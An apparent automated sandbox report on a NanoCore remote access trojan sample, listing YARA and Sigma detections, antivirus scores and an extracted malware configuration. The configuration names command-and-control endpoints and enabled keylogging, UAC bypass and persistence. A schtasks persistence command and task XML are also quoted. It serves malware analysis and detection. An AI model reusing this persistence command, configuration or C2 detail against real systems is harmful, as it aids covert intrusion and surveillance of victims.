11.3.nfiuc.pif.474baa0.6.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xe0f5:$a: NanoCore 0xe105:$a: NanoCore 0xe339:$a: NanoCore 0xe34d:$a: NanoCore 0xe38d:$a: NanoCore 0xe154:$b: ClientPlugin 0xe356:$b: ClientPlugin 0xe396:$b: ClientPlugin 0xe27b:$c: ProjectData 0xec82:$d: DESCrypto 0x1664e:$e: KeepAlive 0x1463c:$g: LogClientMessage 0x10837:$i: get_Connected 0xefb8:$j: #=q 0xefe8:$j: #=q 0xf004:$j: #=q 0xf034:$j: #=q 0xf050:$j: #=q 0xf06c:$j: #=q 0xf09c:$j: #=q 0xf0b8:$j: #=q
1.3.nfiuc.pif.4272830.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.3.nfiuc.pif.4272830.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
1.3.nfiuc.pif.4272830.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.3.nfiuc.pif.4272830.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
11.3.nfiuc.pif.4679e70.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.4679e70.2.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.4679e70.2.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.4679e70.2.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
12.2.RegSvcs.exe.448b041.5.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
12.2.RegSvcs.exe.448b041.5.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
12.2.RegSvcs.exe.448b041.5.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.RegSvcs.exe.60b4629.12.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xb184:$x1: NanoCore.ClientPluginHost 0xb1b1:$x2: IClientNetworkHost
2.2.RegSvcs.exe.60b4629.12.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xb184:$x2: NanoCore.ClientPluginHost 0xc25f:$s4: PipeCreated 0xb19e:$s5: IClientLoggingHost
2.2.RegSvcs.exe.60b4629.12.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.4645668.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x44995:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x449d2:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe 0x48505:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.4645668.3.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x4470d:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x44995:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x45fce:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x45fc2:$s2: FileCommand 0x1266b:$s3: PipeExists 0x46e73:$s3: PipeExists 0x18422:$s4: PipeCreated 0x4cc2a:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost 0x449bf:$s5: IClientLoggingHost
11.3.nfiuc.pif.4645668.3.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.4645668.3.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0x446fd:$a: NanoCore 0x4470d:$a: NanoCore 0x44941:$a: NanoCore 0x44955:$a: NanoCore 0x44995:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x4475c:$b: ClientPlugin 0x4495e:$b: ClientPlugin 0x4499e:$b: ClientPlugin 0x1007b:$c: ProjectData 0x44883:$c: ProjectData 0x10a82:$d: DESCrypto 0x4528a:$d: DESCrypto 0x1844e:$e: KeepAlive
2.2.RegSvcs.exe.60b0000.11.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xd9ad:$x1: NanoCore.ClientPluginHost 0xd9da:$x2: IClientNetworkHost
2.2.RegSvcs.exe.60b0000.11.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xd9ad:$x2: NanoCore.ClientPluginHost 0xea88:$s4: PipeCreated 0xd9c7:$s5: IClientLoggingHost
2.2.RegSvcs.exe.60b0000.11.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.RegSvcs.exe.500000.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
2.2.RegSvcs.exe.500000.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
2.2.RegSvcs.exe.500000.1.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.RegSvcs.exe.500000.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
1.3.nfiuc.pif.41d4c00.0.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
1.3.nfiuc.pif.41d4c00.0.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
1.3.nfiuc.pif.41d4c00.0.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
1.3.nfiuc.pif.41d4c00.0.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
2.2.RegSvcs.exe.6010000.9.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
2.2.RegSvcs.exe.6010000.9.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost
12.2.RegSvcs.exe.d00000.1.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
12.2.RegSvcs.exe.d00000.1.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
12.2.RegSvcs.exe.d00000.1.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
12.2.RegSvcs.exe.d00000.1.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
2.2.RegSvcs.exe.28f82f0.3.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1646:$x1: NanoCore.ClientPluginHost
2.2.RegSvcs.exe.391b041.6.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xf7ad:$x1: NanoCore.ClientPluginHost 0x2874c:$x1: NanoCore.ClientPluginHost 0xf7da:$x2: IClientNetworkHost 0x28779:$x2: IClientNetworkHost
2.2.RegSvcs.exe.391b041.6.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xf7ad:$x2: NanoCore.ClientPluginHost 0x2874c:$x2: NanoCore.ClientPluginHost 0x10888:$s4: PipeCreated 0x29827:$s4: PipeCreated 0xf7c7:$s5: IClientLoggingHost 0x28766:$s5: IClientLoggingHost
2.2.RegSvcs.exe.391b041.6.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.RegSvcs.exe.39107ce.5.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x6483:$x1: NanoCore.ClientPluginHost 0x1a020:$x1: NanoCore.ClientPluginHost 0x32fbf:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost 0x1a04d:$x2: IClientNetworkHost 0x32fec:$x2: IClientNetworkHost
2.2.RegSvcs.exe.39107ce.5.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xe75:$x2: NanoCore.ClientPluginHost 0x6483:$x2: NanoCore.ClientPluginHost 0x1a020:$x2: NanoCore.ClientPluginHost 0x32fbf:$x2: NanoCore.ClientPluginHost 0x1261:$s3: PipeExists 0x1136:$s4: PipeCreated 0x6561:$s4: PipeCreated 0x1b0fb:$s4: PipeCreated 0x3409a:$s4: PipeCreated 0xeb0:$s5: IClientLoggingHost 0x649d:$s5: IClientLoggingHost 0x1a03a:$s5: IClientLoggingHost 0x32fd9:$s5: IClientLoggingHost
2.2.RegSvcs.exe.39107ce.5.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
2.2.RegSvcs.exe.39107ce.5.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xddf:$a: NanoCore 0xe38:$a: NanoCore 0xe75:$a: NanoCore 0xeee:$a: NanoCore 0x6483:$a: NanoCore 0x64cd:$a: NanoCore 0x66b7:$a: NanoCore 0x19fd6:$a: NanoCore 0x19feb:$a: NanoCore 0x1a020:$a: NanoCore 0x32f75:$a: NanoCore 0x32f8a:$a: NanoCore 0x32fbf:$a: NanoCore 0xe41:$b: ClientPlugin 0xe7e:$b: ClientPlugin 0x177c:$b: ClientPlugin 0x1789:$b: ClientPlugin 0x621c:$b: ClientPlugin 0x648c:$b: ClientPlugin 0x64d6:$b: ClientPlugin 0x19d92:$b: ClientPlugin
12.2.RegSvcs.exe.3499650.2.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x42a6:$x1: NanoCore.ClientPluginHost
12.2.RegSvcs.exe.3499650.2.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x42a6:$x2: NanoCore.ClientPluginHost 0x4384:$s4: PipeCreated 0x42c0:$s5: IClientLoggingHost
11.3.nfiuc.pif.46ae678.1.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.46ae678.1.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.46ae678.1.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.46ae678.1.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
11.3.nfiuc.pif.46e2a90.9.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.46e2a90.9.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.46e2a90.9.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.46e2a90.9.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
11.3.nfiuc.pif.46e2a90.7.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.46e2a90.7.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.46e2a90.7.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.46e2a90.7.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
2.2.RegSvcs.exe.39107ce.5.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x4083:$x1: NanoCore.ClientPluginHost
2.2.RegSvcs.exe.39107ce.5.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0x4083:$x2: NanoCore.ClientPluginHost 0x4161:$s4: PipeCreated 0x409d:$s5: IClientLoggingHost
11.3.nfiuc.pif.474baa0.6.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.474baa0.6.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.474baa0.6.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.474baa0.6.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
11.3.nfiuc.pif.46e2a90.4.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0x1018d:$x1: NanoCore.ClientPluginHost 0x101ca:$x2: IClientNetworkHost 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
11.3.nfiuc.pif.46e2a90.4.raw.unpack	Nanocore_RAT_Feb18_1	Detects Nanocore RAT	Florian Roth	0xff05:$x1: NanoCore Client.exe 0x1018d:$x2: NanoCore.ClientPluginHost 0x117c6:$s1: PluginCommand 0x117ba:$s2: FileCommand 0x1266b:$s3: PipeExists 0x18422:$s4: PipeCreated 0x101b7:$s5: IClientLoggingHost
11.3.nfiuc.pif.46e2a90.4.raw.unpack	JoeSecurity_Nanocore	Yara detected Nanocore RAT	Joe Security
11.3.nfiuc.pif.46e2a90.4.raw.unpack	NanoCore	unknown	Kevin Breen <kevin@techanarchy.net>	0xfef5:$a: NanoCore 0xff05:$a: NanoCore 0x10139:$a: NanoCore 0x1014d:$a: NanoCore 0x1018d:$a: NanoCore 0xff54:$b: ClientPlugin 0x10156:$b: ClientPlugin 0x10196:$b: ClientPlugin 0x1007b:$c: ProjectData 0x10a82:$d: DESCrypto 0x1844e:$e: KeepAlive 0x1643c:$g: LogClientMessage 0x12637:$i: get_Connected 0x10db8:$j: #=q 0x10de8:$j: #=q 0x10e04:$j: #=q 0x10e34:$j: #=q 0x10e50:$j: #=q 0x10e6c:$j: #=q 0x10e9c:$j: #=q 0x10eb8:$j: #=q
2.2.RegSvcs.exe.28f3490.2.raw.unpack	Nanocore_RAT_Gen_2	Detetcs the Nanocore RAT	Florian Roth	0xe75:$x1: NanoCore.ClientPluginHost 0x64a6:$x1: NanoCore.ClientPluginHost 0xe8f:$x2: IClientNetworkHost
Click to see the 126 entries

Sigma Overview

System Summary:

Sigma detected: NanoCore

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, ProcessId: 5660, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

Sigma detected: Scheduled temp file as task from temp location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp', CommandLine: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp', CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, ParentImage: C:\Users\user\AppData\Local\Temp\RegSvcs.exe, ParentProcessId: 5660, ProcessCommandLine: 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp', ProcessId: 5844

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp

Malware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "8080abe9-dca0-4fda-b289-40c56bb7", "Group": "FREE", "Domain1": "strongodss.ddns.net", "Domain2": "79.134.225.40", "Port": 48154, "KeyboardLogging": "Enable", "RunOnStartup": "Enable", "RequestElevation": "Disable", "BypassUAC": "Enable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Enable", "SetCriticalProcess": "Enable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Enable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8009, "BufferSize": "02000100", "MaxPacketSize": "", "GCThreshold": "", "BypassUserAccountControlData": "<?xml version=\"1.0\" encoding=\"UTF-16\"?>\r\n<Task version=\"1.2\" xmlns=\"http://schemas.microsoft.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo />\r\n <Triggers />\r\n <Principals>\r\n <Principal id=\"Author\">\r\n <LogonType>InteractiveToken</LogonType>\r\n <RunLevel>HighestAvailable</RunLevel>\r\n </Principal>\r\n </Principals>\r\n <Settings>\r\n <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>\r\n <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>\r\n <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>\r\n <AllowHardTerminate>true</AllowHardTerminate>\r\n <StartWhenAvailable>false</StartWhenAvailable>\r\n <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>\r\n <IdleSettings>\r\n <StopOnIdleEnd>false</StopOnIdleEnd>\r\n <RestartOnIdle>false</RestartOnIdle>\r\n </IdleSettings>\r\n <AllowStartOnDemand>true</AllowStartOnDemand>\r\n <Enabled>true</Enabled>\r\n <Hidden>false</Hidden>\r\n <RunOnlyIfIdle>false</RunOnlyIfIdle>\r\n <WakeToRun>false</WakeToRun>\r\n <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>\r\n <Priority>4</Priority>\r\n </Settings>\r\n <Actions Context=\"Author\">\r\n <Exec>\r\n <Command>\"#EXECUTABLEPATH\"</Command>\r\n <Arguments>$(Arg0)</Arguments>\r\n </Exec>\r\n </Actions>\r\n</Task"}

Multi AV Scanner detection for domain / URL

Show sources

Source: strongodss.ddns.net

Virustotal: Detection: 8%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Metadefender: Detection: 16%			Perma Link
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Show sources

Source: zunUbtZ2Y3.exe	Virustotal: Detection: 42%			Perma Link
Source: zunUbtZ2Y3.exe	ReversingLabs: Detection: 54%

Yara detected Nanocore RAT

Show sources

Source: Yara match	File source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY
